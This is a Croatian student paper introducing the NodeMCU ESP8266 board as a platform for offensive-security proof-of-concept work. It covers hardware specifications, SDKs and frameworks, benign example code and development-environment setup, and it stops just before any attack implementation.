Internet of Wrongs: NodeMCU ESP8266 SoC u ofenzivnoj sigurnosti
Autor: Karlo Grlić
NodeMCU ESP8266 DEVKIT v2 |
Više informacija o hardveru |
Opis: NodeMCU ESP8266 DEVKIT v2 je razvojna elektronička pločica sa ugrađenim Wi-fi funkcionalnostima. |
Operacijski sustav: XTOS[1] |
CPU: ESP8266(LX106)[1] |
Memorija: 128kBytes[1] |
Pohrana: 4MBytes[1] |
Nedavnom popularizacijom prijenosnih single-board računala poput Raspberry PI-a, mikrokontrolerskih pločica poput Arduina i nadasve globalnog umrežavanja fizičkih uređaja nastala je popularna kovanica Internet of Things (IOT), koja upravo obuhvaća navedene tehnologije i ideju o dostupnosti pristupa internetu fizičkim uređajima, tj. dostupnost pristupa tim uređajima putem interneta.
Iako je namjena IOT uređaja u glavnini legitimna i korisna, nedvojbeno je da se isti u krivim rukama mogu biti (is)korišteni u cyber napadima te tako predstavljaju veliku, i pomalo neočekivanu, sigurnosnu prijetnju. Primjer vrlo velikog napada putem IOT uređaja bio je 2016. godine, a sproveden je putem IOT uređaja zaraženih Mirai botnetom[2]. Više o tome može se pročitati na sljedećim linkovima:
- https://www.theguardian.com/technology/2016/oct/26/ddos-attack-dyn-mirai-botnet
- https://www.incapsula.com/blog/malware-analysis-mirai-ddos-botnet.html
- https://krebsonsecurity.com/2016/12/researchers-find-fresh-fodder-for-iot-attack-cannons/
Cilj ovog rada je istražiti mogućnosti korištenja jedne IOT platforme u tzv. ofenzivnoj sigurnosti te također napraviti proof of concept implementacije, čime zapravo Internet of Things hardver postaje Internet of Wrongs (kovanica preuzeta iz članka Steva Lorda https://www.rawhex.com/2016/06/building-internet-wrongs/).
Korištena IOT platforma jest popularni NodeMCU v2 ESP8266 DEVKIT 1.0 (ESP12E v2 DEVKIT) mikrokontroler čija je posebnost mogućnost umrežavanja putem bežićnih WiFi mreža. Više o samoj platformi slijedi u nastavku rada.
O NodeMCU ESP8266 WiFi pločici
Prije no što dublje uđemo u karakteristike i potankosti o spomenutom hardveru, zadržimo se malo na samim definicijama mikrokontrolera, pločica i single-board računala. To će nam uvelike pomoći u tome da razumijemo što ovaj uređaj jest i što može, a što ne. Također, kako se na samom fakultetu u sklopu redovite nastave ne obrađuju teme iz područja elektrotehnike i elektronike, neupućen čitatelj može imati krivu percepciju o tome što je zapravo mikrokontroler (MCU), koje su razlike između single-board računala i pločica s mikrokontrolerom, tj. mikrokontrolera i mikroprocesora (MPU) i kakve su im zapravo namijene.
Mikrokontroleri vs. single-board mikroprocesorska računala
Neki od široko korištenih mikrokontrolera jesu mikrokontroleri na pločicama iz serije Arduino, Teensy i Espressif ali i mnogi drugi. S druge strane, tu su i poznate serije single-board računala poput Raspberry Pi-a, Orange Pi-a, Intela, itd. No, postavlja se pitanje, u čemu leži razlika i kakva je namjena navedenih uređaja.
Naime, glavnina razlike između single-board mikroprocesorskih računala i mikrokontrolera leži u arhitekturi procesorske jedinice. Pogledajmo sljedeću tablicu usporedbe[3][4]:
Mikrokontroler (MCU) | Mikroprocesor (MPU) | |
---|---|---|
Memorija | On-chip flash memorija na kojoj je spremljen pogonski program (engl. firmware), što u prijevodu znači da će se uređaj uključiti gotovo trenutačno te će program izvoditi vrlo brzo. Nepovoljna činjenica je to što je takva flash memorija vrlo limitirana, najčešće ne više od 2 megabajta. | Memorija je eksterna te se koristi kao spremište podataka (uglavnom NAND flash memorija - memorija na kojoj su podaci perzistentni i unatoč prestanku napajanja). Programi se iz memorije učitavaju u radnu memoriju (uglavnom DRAM) te se nakon toga izvršavaju. |
Performanse | Dok je sama procesorska moć puno slabija od mikroprocesora, povoljna činjenica za mikrokontroler je ta da on izvodi samo jedan pogonski program, uglavnom jednodretveno. Ovo osigurava i to da se s velikom determinističkom točnošću može odrediti kada će se što izvesti - što je i razlog zašto su mikrokontroleri dobri za upravljanje ostalim hardverom, npr. senzorima itd. Takt MCU-a je najčešće reda nekoliko desetaka do nekoliko stotina MHz. | Iako je MPU znatno brži, često se na samoj pločici nalazi puni operacijski sustav te korisnički programi. Za ostvarivanje navedenog potrebno je da MPU ima mogućnost paralelnog rada i prioritetnih poslova, pa se zbog toga ne može deterministički točno odrediti kada će se nešto izvršiti, što je i razlog zašto MPU nije dobar za upravljanje ostalim hardverom. |
Potrošnja | Ima vrlo nisku potršnju energije što osigurava da ga se može pogoniti i putem baterijskih članaka. | Veća potrošnja električne energije, uglavnom potreban vanjski izvor napajanja. |
Gledajuću holistički, pločice sa mikrokontrolerom najčešće, zbog svoje namjene, imaju i naprednija sučelja za komunikaciju sa drugim uređajima, pa tako mikrokontroleri imaju:
- GPIO (General-purpose input/output) - predstavlja slobodno ulazno-izlazno sučelje čiju namijenu određuje korisnik[4],
- PWM (Pulse-width modulation) - kodiranje poruke ili upravljanje nekim perifernim uređajem izmjenom frekvencije signala[4],
- ADC (Analog-to-digital converter) - uređaj za pretvorbu analognih signala u digitalne pomoću uzorkovanja
dok single-board MPU računala uglavnom imaju samo GPIO. S druge strane, single-board MPU računala uglavnom dolaze opremljena sa ethernet prikljucima i WiFi modulima[4].
ESP8266, MCU ili MPU?
Uzevši u obzir sve razlike i karakteristike MCU i MPU pločica, NodeMCU ESP8266 pločicu možemo svrstati u mikrokontrolerske pločice, no, bitno je napomenuti da postoji nekoliko karakteristika koje ovu pločicu čine posebnom.
Prije svega, to su:
- posjedovanje modula za bežičnu komunikaciju po 802.11 (WiFi)
- mogućnost korištenja skriptnih jezika poput Lue, MicroPython-a i JavaScripta u pisanju pogonskih programa
- mogućnost korištenja programskih jezika u pisanju pogonskih programa, puput C/C++ i BASICA
- mogućnost instalacije specijaliziranih operacijskih sustava poput Mongoose OS-a
- vanjska SPI flash memorija do 16 MB
Stoga, možemo zaključiti da je ESP8266 pločica ima neke osobine mikroprocesorskih pločica, što u svakom slučaju olakšava rad sa ovom mikrokontrolerskom pločicom te je čini lakše povezivom sa ostalom okolinom. U nastavku ćemo detaljnije proučiti arhitekturu same pločice, pa će nam biti jasnije što se zapravo skriva iza kodnog imena.
NodeMCU? ESP12E? ESP8266? SoC? DEVKIT v2?
Trenutno na tržištu postoje razne inačice pločica sa ESP8266 čipom, pa zbog toga često dolazi do zabune pri raspoznavanju. Štoviše, određene pločice sadrže dodatne mogućnosti, pa stoga imaju i drugačije nazive, a osim toga, često se na tržištu cijela pločica naziva imenom samog čipa, što je zapravo krivo. U ovom dijelu pokušat ćemo pojasniti na što se odnose koji dijelovi naziva u konkretnoj pločici na kojoj radimo - NodeMCU ESP8266 ESP-12E DEVKIT v2.
ESP8266 (ESP8266EX) SoC
Kako je vidljivo na slici 7., oznaka ESP8266, tj. ESP8266EX, odnosi se zapravo na ESP8266EX WiFi SoC (sustav na čipu - izraz koji se koristi za čip, ili pločicu, koja sadrži sve komponente osnovnog računala[5], a u ovom slučaju, specijalno sadrži i mogućnosti umrežavanja putem bežične mreže - WiFi) kineskog proizvođača Espriff, a odlikuje ga kompaktnost, visoka integriranosti, performanse i mala potrošnja, a velika posebnost je potpuna integracija WiFi tehnologije. Prema naputku proizvođača, ESP8266EX moguće je koristiti zasebno ili kao WiFi komponentu mikrokontrolera. S tim u vezi, u ESP8266EX ima integriranu antenu, RF sinkronizator (balun), pojačalo napajanja, pojačalo signala, filtere i ostale module za napajanje[6].
Osim toga, ESP8266EX ima integrirani mikrokontroler i mikroprocesor, koji su objedinjeni u Tensilica L106 (32-bit MCU/16-bit RISC) procesoru familije Xtensa 8 (Need to Offload Your Apps Processor? See How Customizable Processors Can Help, What's a Configurable Processor?, Tensilica Unveils Diamond Standard 106Micro Processor; Smallest Licensable 32-bit Core), čiji takt iznosi 80-160 MHz. Ujedno se na samom čipu nalazi i SRAM memorija (static random access memory - momorija koja zadržava stanje sve dok je pod naponom, brža je od konvencionalnog DRAMA koji se koristi kao glavna memorija računala, pa se zato koristi kao cache memorija u procesorima[7]). Količina RAM memorije za korisnika iznosi 50kB, dok perzistentna memorija (ROM) za korisničke programe ne postoji, već je potrebna vanjska SPI flash memorija. ESP8266EX podržava do 16MB za korisničke programe. Konačno, ESP8266EX može komunicirati sa vanjskim uređajima i perifernik komponentama putem GPIO, PWM, ADC, SPI (Serial Peripheral Interface) / SDIO ili I2C (Inter-integrated Circuit) / UART (Universal asynchronous receiver/transmitter)[6] / I2S (Inter-IC Sound) .
Ono što je svakako najvažnija stavka ESP8266EX čipa, kako je već rečeno, jest integrirana WiFi tehnologija. Karakteristike integrirane WiFI tehnologije su sljedeće[6]:
- potpuna podrška ta TCP/IP (samo IPV4)
- raspon frekvencije: 2.4G ~ 2.5G (2400M ~ 2483.5M)
- podrška za 802.11 b/g/n/e/i
- antene: zasebne antene za slanje i primanje (antenna diversity), PCB Trace, External, IPEX Connector, Ceramic Chip
- podrška za Wi-Fi Direct (P2P) - mogućnost direktnog uprivanja uređaja putem bežične mreže bez potrebe za pristupnom točkom[8]
- P2P Discovery, P2P GO (Group Owner) mod, GC(Group Client) mod te P2P upravljanje potrošnjom
- načini rada:
- infrastrukturni (BSS Station mode)
- P2P
- SoftAP (softverska pristupna točka)
- hardverska podrška za kriptografske i autentikacijske algoritme:
- CCMP (CBC-MAC, counter mode) - Counter Mode Cipher Block Chaining Message Authentication Code Protocol, Counter Mode CBC-MAC Protocol[9]
- TKIP (MIC, RC4) - Temporal Key Integrity Protocol[10]
- WAPI (SMS4) - WLAN Authentication and Privacy Infrastructure[11]
- WEP (RC4) - Wired Equivalent Privacy[12]
- CRC - Cyclic redundancy check[13]
- podrška za WPA/WPA2 PSK[14] (Wi-Fi Protected Access) i WPS (Wi-Fi Protected Setup)[15]
- sučelje za korištenje različitih EAP(Extensible Authentication Protocol) autentikacijskih shema višeg sloja, poput npr. TLS, PEAP, LEAP, SIM, AKA ili korisnički specificiranih
- podrška za MIMO (1x1, 2x1), STBC, A-MPDU, A-MSDU
- 802.1h/RFC1042 enkapsulacija okvira
- standardi: FCC/CE/TELEC/SRRC
Još jedna od važnih karakteristika ESP8266EX-a jest tehnologija upravljanja potrošnjom energije. Ovo je primarno iz razloga što je i sam čip namijenjen mobilnim uređajima i mobilnim SoC-evima, pa je potrebna što manja potrošnja energije. Stoga, u sam čip ugrađeno je nekoliko modova rada (spavanja) dostupnih korisniku[6]:
- Modem-sleep - ako nema transmisije podataka, tada je WiFi modem isključen, u ciklusima od 300ms, modem se aktivira kako bi primio beacon okvire od pristupne točke
- Light-sleep - ako nema transmisije podataka, tada je isključen WiFi modem, a CPU suspendiran, u ciklusima od 300ms modem se aktivira kako bi primio beacon okvire od pristupne točke
- Deep-sleep - isključen WiFi modem, u ciklusima od 300s modem se aktivira kako bi primio beacon okvire od pristupne točke
Na prikazu 12 dan je pregled potrošnje čipa pri različitim modovima rada:
Što se tiče programiranja ESP8266EX, puno više o tome će biti riječi u kasnijim poglavljima, no, ono što nas trenutno zanima jest kakva je podržanost od strane proizvođača. Espressif, naime, daje službeni SDK (Software Devekopment Kit) u koji nam daje pristup upravljanju sljedećim mogućnostima[17]:
- tajmer - putem sustavskih API-ja
- operacije nad SPI flash memorijom
- kontrola WiFi-a
- nadogradnja firmware-a
- TCP-UDP operacije
- API za upravljanje Mesh mrežama
- ostali aplikacijski API (poput AT naredbi ili JSON parsiranja)
- podatkovne strukture i definicije
- upravljanje i komunikacija s perifernim i spojenim uređajima putem GPIO, UART, I2C, PWM i SDIO-a
Više o SDK-u može se naći na http://espressif.com/en/products/hardware/esp8266ex/resources. Na raspolaganju su također dostupni i neki drugi neslužbeni SDK paketi, no o njima nešto više kasnije.
ESP8266 moduli (ESP-12F)
U normalnim okolnostima, netko tko se bavi hobi-elektronikom neće raditi sa samim ESP8266(EX) čipom već će vjerojatno koristiti tzv. ESP8266 modul (modul zapravo u sebi ima integrirani ESP8266EX). Ovo proizlazi iz nekoliko glavnih razloga[18][19][20]:
- modul olakšava pristup ulazima/izlazima na ESP8266(EX) čip - pruža pojednostavljen pristup ulazima/izlazima prema ESP8266(EX) pomoću pinova
- modul ima ugrađenu SPI flash memoriju (ROM) za pohranu korisničkih programa
- modul ima ugrađenu (PCB) WiFi antenu koja znatno proširuje raspon signala
- modul regulira frekvenciju rada putem kristalnog oscilatora
Dakako, gornje funkcionalnosti nisu prisutne u svim dostupnim modulima na tržištu, već se moduli razlikuju po istima. Trenutno se na tržištu najčešće mogu naći ESP-12 E/F moduli kineskog proizvođača Ai-Thinker, dok su ostali moduli istog proizvođača označeni ESP-XY oznakama[18]. Pri kupnji modula, tj. razvojne pločice, treba obratiti pažnju koji modul se odabire. Svakako je preporučljivo kupiti modul iz zadnje serije jer uglavnom predstavlja neki oblik nadogradnje ili popravka u odnosu na prethodni modul. Na prikazu 14, dan je općeniti dizajn ESP8266 modula (prema ESP-WROOM-02 tvrtke Espriff). Na prikazu se može uočiti da sam ESP8266(EX) čip dolazi u središte modula.
ESP-12F
U ovom radu koristit ćemo ESP-12F modul koji agregira ESP8266EX čip. Pogledajmo koje su glavne karakteristike ESP-12F modula[18][19][20]:
- vanjska SPI flash memorija veličine 4MB (3MB SPIFFS - SPI NOR filesystem + 1MB EEPROM - electricaly erasable programmable read-only memory)
- PCB antena
- kristalni oscilator
- 11 GPIO pinova (general purpose input/output)
- 1 RST pin (reset pin - za resetiranje uređaja)
- 1 CH_PD (EN) pin (chip power down - za kontroliranje načina upravljanja potrošnjom (napajanjem), tj. iskjlučivanjem)
- 1 VCC (3.3 V) naponski izlaz
- 1 GND (ground - uzemljenje)
- 1 ADC (analog-digital converter - za konverziju analognih signala u digitalne)
- 2 (TXD + RXD) pinova za serijsku komunikaciju
- 1 CSO
- 1 MISO
- 1 MOSI
- 1 SCLK
Razvojna pločica (NodeMCU DEVKIT v2)
Iako su ESP8266 moduli korisnički zasigurno prihvatljiviji od rada sa samim ESP8266(EX) čipom, ipak imaju nekoliko nedostataka. Naime, sami moduli nemaju vlastiti USB konektor, pa nije moguće direktno pristupati samoj memoriji, tj. mijenjati firmware. Također, moduli su vrlo osjetljivi na oscilacije u naponu, pa je za pouzdan rad potreban i regulator napona. Naposljetku, moduli, isto tako, nemaju mogućnost automatskog reseta i flashanja[20][22].
Rješenje donose pločice sa ugrađenim USB-UART mostom, USB konektorom i regulatorom napona[8]. Trenutno se na tržištu nudi nekoliko takvih pločica, a u ovom radu ćemo konkretno raditi sa NodeMCU DEVKTIT v2. Osim spomenutog, prednost NodeMCU je i lakše korištenje pinova pri prototipiranju (npr. može se koristiti običan breadboard te nema potrebe za lemljenjem). Pinovi na samoj pločici odgovaraju modulu (ESP-12F), što se i podrazumjeva, s tim da su na pločici, zbog praktičnosti, VCC i GND razdijeljeni na više izlaza/ulaza.
Specifične komponente koje su na NodeMCU pločici jesu:
- CH430 USB-UART most - omogućuje komunikaciju između računala i pločice što uvelike olakšava programiranje (za komunikaciju putem Windows operacijskog sustava potrebno je preuzeti odgovarajući driver, dok na Linux Ubuntu radi bez posebnih drivera)
- Micro USB konektor - omogućuje spajanje s računalom putem standardnog micro USB - USB kabla
- IRU1117-33 - 3.3V regulator napona
Naziv NodeMCU često se odnosi i na sam Lua framework za ESP8266 od istog proizvođača (https://github.com/nodemcu), no više o dostupnim framework i SDK paketima u sljedećem poglavlju. Također, postoji više inačica pločice NodeMCU, no razlike nisu velike, više o tome može se pročitati na http://frightanic.com/iot/comparison-of-esp8266-nodemcu-development-boards/.
Osim NodeMCU pločice, na tržištu postoji nekoliko pločica sa vrlo sličnim karakteristikama, neke od češće korištenih jesu:
ESP8266 SDKs, frameworks i IDEs
Kako je već spomenuto, korisnicima je u programiranju pločica s ESP8266 čipom dostupno nekoliko SDK-ova i frameworkova, a na raspolaganju je i nekoliko IDE-ova koji imaju podršku za ESP8266.
Službeni Espriff SDK
Prvi SDK je i onaj službeni od samog proizvođača. Espriff, zapravo, nudi na raspolaganje dva SDK paketa[17]:
- NON-OS SDK
- RTOS SDK
NON-OS SDK nudi sav dostupan standardni API za programiranje u C-u te podržava samo singlethreaded arhitekturu, dok RTOS SDK, koji je baziran na FreeRTOS operacijskom sustavu, nudi bolju podršku za mulithreading/multitasking. Osim dostupnog API-ja, u SDK-u su sadržani mnogi primjeri korištenja istog, a na raspolaganju je i službena dokumentacija dostupna na https://espressif.com/sites/default/files/documentation/2c-esp8266_non_os_sdk_api_reference_en.pdf[17].
Da bi koristili službeni SDK potrebno ga je preuzeti sa stranica proizvođača u obliku izvornog koda, te ga kompajlirati na vlastitom računalu[23]. Za kompajliranje je potrebno GNU/Linux okruženje. Najčešće se koristi NON-OS SDK pa ćemo na njega obratiti više pažnje.
Dostupni API
Službeni NON-OS SDK nudi sljedeće API biblioteke[17]:
- Software timer
- Hardware timer
- Sustavski API
- SPI flash povezani API
- WiFi API
- Rate Control API
- Force Sleep API
- ESP-NOW API
- Simple Pair API
- Upgrade API
- Sniffer API
- Smart Config API
- SNTP API
- WPA2_Enterprise API
- TCP/UDP (Espconn) API
- mDNS API
- Mesh API
- API aplikacijskog sloja (JSON, AT, itd.)
- GPIO API
- UART API
- I2C API
- PWM API
- SDIO API
Da bi mogli koristiti navedene API biblioteke, potrebno je u program uključiti header (.h) datoteke koje ih sadržavaju. U nastavku je dan popis dostupnih headera i kratka pojašnjenja, a detaljna pojašnjena dostupna su u službenoj SDK dokumentaciji. Header datoteke se nalaze u include mapi SDK-a.
Headeri i pojašnjenja[23]:
Datoteka | Opis |
---|---|
at_custom.h | Definicije za prilagođene ekstenzije AT naredbenog handlera. |
c_types.h | Definicije iz C jezika. |
eagle_soc.h | Low-level definicije i macrosi. |
espconn.h | TCP i UDP definicije. |
espnow.h | Definicije za ESPNOW. |
gpio.h | Definicije za interakciju sa GPIO. |
ip_addr.h | Definicije za IP adrese. |
mem.h | Definicije za manipulaciju memorijom |
os_type.h | Definicije operacijskog sustava. |
osapi.h | Definicije za korisnike postavke. |
ping.h | Definicije za ping. |
pwm.h | Definicije za PWM. |
sntp.h | Definicije za SNTP. |
queue.h | Definicije za redove. |
smartconfig.h | Smartconfig definicije. |
spi_flash.h | Definicije za flashanja. |
upgrade.h | Definicije za nadogradnje. |
user_interface.h | Definicije za OS i WiFi. Ovaj header najviše ćemo koristiti u mrežnom radu. |
Tijek razvoja u SDK
Prema naputku iz SDK dokumentacije, ulaz u korisnički program bi trebao biti u user_main.c
datoteci unutar metode void user_init(void)
. Kako SDK podržava samo singlethreaded rad, programer se mora oslanjati na korištenje timera, taskova i callback funkcija.
Primjer Hello World programa u SDK-u (https://github.com/leon-anavi/esp-hello-world/blob/master/user/user_main.c):
#include "ets_sys.h" #include "osapi.h" #include "os_type.h" #include "user_config.h" #define user_procTaskPrio 0 #define user_procTaskQueueLen 1 os_event_t user_procTaskQueue[user_procTaskQueueLen]; static void user_procTask(os_event_t *events); //Hello world task static void ICACHE_FLASH_ATTR task_hello(os_event_t *events) { //print text to the serial output os_printf("Hello World!\r\n"); } //Init function void ICACHE_FLASH_ATTR user_init() { // Initialize UART0 uart_div_modify(0, UART_CLK_FREQ / 115200); //Set up the hello world task system_os_task(task_hello, user_procTaskPrio, user_procTaskQueue, user_procTaskQueueLen); //send a message to the "hello world" task to activate it system_os_post(user_procTaskPrio, 0, 0 ); }
Kako iz priloženog primjera možemo vidjeti, pisanje programa u službenom SDK-u potražuje dosta znanja o low level programiranju i dobro poznavanje samog SDK-a. Kako bi se smanjila zahtijevnost rada sa ESP8266 platformama, razvijeni su neki od neslužbenih SDK-ova i frameworka.
ESP Open SDK
Pored službenog SDK-a, razvija se i SDK otvorenog koda - ESP Open SDK. Glavna razlika između službenog i open SDK-a leži u činjenici da je većina koda u Open SDK-u open source, tj. binarni paketi i ostale biblioteke koje nisu slobodne licence[22].
ESP Open SDK može se naći na sljedećem git repozitoriju: https://github.com/pfalcon/esp-open-sdk
NodeLua/NodeMCU eLua Firmwares
NodeLua i NodeMCU eLua dva su frameworka koja se baziraju na orginalnom Espriffovom SDK-u, tj. korisniku daju apstrakciju funkcionalnosti orginalnih API-ja te mu tako omogućavaju brži razvoj i umanjuju potrebu za znanjem C-a i orginalnog SDK-a.
Primjer koda za postavljanje http servera na ESP8266 pločici u NodeMCU eLua frameworku:
-- a simple HTTP server srv = net.createServer(net.TCP) srv:listen(80, function(conn) conn:on("receive", function(sck, payload) print(payload) sck:send("HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n<h1> Hello, NodeMCU.</h1>") end) conn:on("sent", function(sck) sck:close() end) end)
Nažalost, prema mišljenjima mnogih korisnika, korištenje Lua interpretera ima utjecaja na ionako minijaturne resurse ESP8266 pločice, pa se često može dogoditi da pločica ostane bez memorije ili se jednostavno sruši. Unatoč tome, framework (barem NodeMCU) je pod konstantnim razvojem pa se očekuje da ovakvih problema u budućnosti neće biti.
Više o NodeMCU frameworku može se naći u službenoj dokumentaciji na https://nodemcu.readthedocs.io/en/master/
MicroPython
Kao i Lua frameworkovi, MicroPython je još jedan framework namijenjen za IOT uređaje, pa je, naravno, shodan za korištenje i na ESP8266 platformama. Razlika između Lue i MicroPythona je ta što se MicroPython kompajlira u bytecode at-compiletime te se izvršava bare-metal na samom uređaju, što svakako ima manji utjecaj na resurse uređaja. Naravno, MicroPython može izvršavati i source coude Python skripte, dakle vrijedi (compile + runtime), a također daje i pristup Python shell-u, odnosno REPL-u. MicroPython podržava gotovo cjelovit Python sintaksu, pa samim time i dobar dio Python biblioteka. Za MicroPython također implementiran i MicroPIP, pa je i instalacija dodatnih biblioteka vrlo jednostavna[22][24].
Primjer upravljanja pinovima i ispis u konzolu[24]:
import pyb # turn on an LED pyb.LED(1).on() # print some text to the serial console print('Hello MicroPython!')
Neke od najznačajnijih karakteristika MicroPythona jesu[24]:
- veliki broj opcija pri compile-timeu
- podrška sa mnoge arhitekture (x86, x86-64, ARM, ARM Thumb, Xtensa) - prenosivost koda
- garbage collector za heap memoriju
- mogućnost obrade grešaka pri prevelikoj alokaciji dostupne memorije
- multithreading (_thread)
- inline assembler
- mogućnost pronalazaka grešaka u kodu pri runtimeu (backtracing)
MicroPython ima dosta naprednih mogućnosti, a više o tome na https://micropython.org/
Arduino Core ESP8266
Arduino Core projekt je koji omogućuje korištenje Arduino biblioteka unutar Arduino IDE-a za ESP8266 platforme. Arduino Core zapravo je najpopularnija opcija za programiranje ove pločice i to iz nekoliko razloga[22]:
- kao i kod predhodnih frameworkova, nije potrebno duboko poznavanje SDK-a ili low level programiranja
- Arduino je na tržištu već dugo vremena i vrlo je popularan, pa su korisnici već upoznati sa standardnim Arduino bibliotekama i ne moraju se ponovno učiti novim tehnologijama
- kod koji radi na Arduino platformama radit će i na ESP8266 - prenosivost
- kako se i sami Arduino programi pišu u C++ jeziku, korisniku je omogućeno direktno uključiti neku biblioteku iz orginalnog SDK-a, ako mu korištenje Arduino biblioteka nije moguće
Cijeli Arduino Core za ESP8266 zapravo je pokušaj da se sučelja koja su već postojala kod samog Arduina re-mapiraju na orginalne SDK biblioteke, te se samim time smanji ono što korisnik treba učiti[23]. Pa tako Arduino COre dolazi sa bibliotekama za rad sa WiFi-jem[25].:
- TCP/UDP
- HTTP
- mDNS
- SSDP
- DNS
- OTA nadogradnje
a osim toga i s bibliotekama za rad sa[25].:
- datotečnim sustavom i flash memorijom
- SD karticama
- servo motorima
- SPI, I2C, GPIO, itd.
Slijedi primjer jednostavnog "hello" webservera napisanog u Arduino Coreu[25].:
#include <ESP8266WiFi.h> #include <WiFiClient.h> #include <ESP8266WebServer.h> #include <ESP8266mDNS.h> const char* ssid = "........"; const char* password = "........"; ESP8266WebServer server(80); const int led = 13; void handleRoot() { digitalWrite(led, 1); server.send(200, "text/plain", "hello from esp8266!"); digitalWrite(led, 0); } void handleNotFound(){ digitalWrite(led, 1); String message = "File Not Found\n\n"; message += "URI: "; message += server.uri(); message += "\nMethod: "; message += (server.method() == HTTP_GET)?"GET":"POST"; message += "\nArguments: "; message += server.args(); message += "\n"; for (uint8_t i=0; i<server.args(); i++){ message += " " + server.argName(i) + ": " + server.arg(i) + "\n"; } server.send(404, "text/plain", message); digitalWrite(led, 0); } void setup(void){ pinMode(led, OUTPUT); digitalWrite(led, 0); Serial.begin(115200); WiFi.begin(ssid, password); Serial.println(""); // Wait for connection while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print("."); } Serial.println(""); Serial.print("Connected to "); Serial.println(ssid); Serial.print("IP address: "); Serial.println(WiFi.localIP()); if (MDNS.begin("esp8266")) { Serial.println("MDNS responder started"); } server.on("/", handleRoot); server.on("/inline", [](){ server.send(200, "text/plain", "this works as well"); }); server.onNotFound(handleNotFound); server.begin(); Serial.println("HTTP server started"); } void loop(void){ server.handleClient(); }
Arduino Core je, zbog same prirode projekta, vezan uz Arduino IDE - službeno razvojno okružje za Arduino platforme. Unatoč tome, moguće je koristiti i nekoliko drugih IDE-ova, o čemu malo više kasnije.
Za potrebe ovog projekta koristit će se upravo Arduino Core, izmeđuostalog, zbog gore navedenih prednosti, a u nastavku rada detaljnije ćemo pogldati kako postaviti razvojno okružje.
Javascript, Basic, Lisp, itd.
Kako je već prije navedeno, za ESP8266 napravljeno je već nekoliko portova drugih jezika, pa tako, npr., imamo Javascript, Basic, Lisp, itd. Kako navedeni portovi nisu toliko popularni, niti ćemo ih koristiti u ovome projektu, ovdje ih nećemo posebno obrađivati, pa u nastavku slijede linkovi na njihove službene projekte:
Postavljanje Arduino Corea i Eclipse IDE-a
Prije no što možemo stavljati korisničke programe, potreno nam je imati odgovarajuću razvojnu okolinu i programsku podršku. Kako smo odlučili raditi u Arduino Core frameworku, potrebno nam je Arduino razvojno okružje. U nekoliko sljedećih koraka pokazano je kako postaviti sve potrebno za razvoj. Upute su pisane za Linux operacijski sustav, no slično bi trebalo vrijediti i za ostale sustave.
Arduino IDE
Prvo je potrebno istalirati Arduino IDE kojeg se može preuzeti putem https://www.arduino.cc/en/Main/OldSoftwareReleases#previous. Preporuča se preuzeti inačicu 1.6.X, jer je ista testirana sa pločicom s kojom se radi u projektu.
Arduino Core
Za rad sa sa ESP8266 pločicom u Arduino okružju, potreban je već spomenut Arduino Core framework. Framework je moguće preuzeti iz samog Arduina, no zbog potreba upravljanja različitim verzijama, Arduino Core ćemo preuzeti sa službenog Git repozitorija.
Prvo je potrebno unutar Arduino mape na datotečnom sustavu kreirati mapu >hardware/esp8266com, pa onda u njoj klonirati Arduino Core sa repozitorija https://github.com/esp8266/Arduino.git (potrebno je imati instalirani git):
rloka@r2d2:/$ cd ~/Arduino/ rloka@r2d2:~/Arduino$ mkdir hardware/esp8266com rloka@r2d2:~/Arduino$ git clone https://github.com/esp8266/Arduino.git
Nakon toga bi u Arduino IDE-u trebali imati mogućnost odabira NodeMCU ESP8266 pločice, kako je prikazano na prikazu ispod.
Za konkretnu pločicu sa kojom radimo u ovom projektu u IDE-u je potrebno postaviti sljedeće postavke:
Board | NodeMCU 1.0 (ESP-12E Module) |
---|---|
Upload using | Serial |
CPU frequency | 80 HZ |
Flash size | 4M (3M SPIFFS) |
Upload speed | 115200 |
Port | /dev/ttyUSB0 |
Također, prilikom čitanja ispisa sa serijskog ulaza/izlaza, potrebno je postaviti baud rate na 115200
Eclipse (Sloeber) IDE
Iako je Arduino IDE sasvim dovoljan za razvoj programa na ESP8266 pločici, u ovom dijelu pokazati ćemo kako koristiti Eclipse (Sloeber) IDE. Naime, Arduino IDE nema neke od naprednijih mogućnosti koje su dostupne u ostalim standardnim kod editorima, poput provjere sintakse prije kompajliranja, intelisensa, naprednih postavki, itd., pa smo se u nastavku rada odlučili koristiti Eclipse (Sloeber) IDE, koji ima potpunu podršku za Arduino i ESP8266.
Prvo je potrebno imati instaliran i Arduino IDE s podrškom za ESP8266, što je objašnjeno u prethodna dva koraka, a potom treba preuzeti zadnju inačicu sa http://eclipse.baeyens.it/index.shtml te je instalirati. Eclipse IDE ne treba posebno konfigurirati jer već dolazi sa punom podrškom, no pri kreiranju projekta treba paziti da se unesu pravillne postavke pločice sa kojom se radi.
Da bismo saznali na kojem je serijskom portu spojena naša pločica, u naredbeni redak upišimo dmesg | grep tty, a povratna informacija trebala bi izgledati ovako (ch341-uart):
rloka@r2d2:~$ dmesg | grep tty [337373.990663] usb 2-8: ch341-uart converter now attached to ttyUSB0
Po uspješnom uploadu firmware-a na pločicu, naredbeni redak bi trebao ispisati sljedeće poruke:
Uploading 208672 bytes from /home/rloka/Desktop/Dev/sloeber/workspace/CommandAndControlNode/Release/CommandAndControlNode.bin to flash at 0x00000000 erasing flash size: 032f20 address: 000000 first_sector_index: 0 total_sector_count: 51 head_sector_count: 16 adjusted_sector_count: 35 adjusted_size: 023000 espcomm_send_command: sending command header espcomm_send_command: sending command payload setting timeout 10000 setting character timeout 100 done setting timeout 1 setting character timeout 1 done espcomm_send_command: receiving 2 bytes of data writing flash ...................................................................................................................... starting app without reboot espcomm_send_command: sending command header espcomm_send_command: sending command payload espcomm_send_command: receiving 2 bytes of data closing bootloader esptool finished upload done
Korištenje u ofenzivnoj sigurnosti
Da bismo mogli smjestiti ESP8266 u pravi kontekst ofenzivne sigurnosti potrebno je znati karakteristike same pločice. U prethodnim poglavljima detaljno smo obradili tehničke karakteristike, pa ćemo se ovdje samo nakratko podsjetiti:
- podržanost svih glavnih standarada i modova rada bežičnog interneta
- podržanost low level operacija u SDK-u
- mogućnost komunikacije sa drugim uređajima
- mala procesorska moć
- mala memorija za pohranu
- nema operacijski sustav
- upravljanje potrošnjom energije
- mala potrošnja energije
- laka nabavljivost i niska cijena
- prenosivost i male dimenzije
Uzevši u obzir navedeno, korištenje ESP8266 u ofenzivnoj sigurnosti dolazi do izražaja kada je potrebno da:
- uređajem možemo upravljati na daljinu
- uređaj bude malih dimenzija
- uređaj može dugo ostati na čekanju
- uređaj troši malo baterije
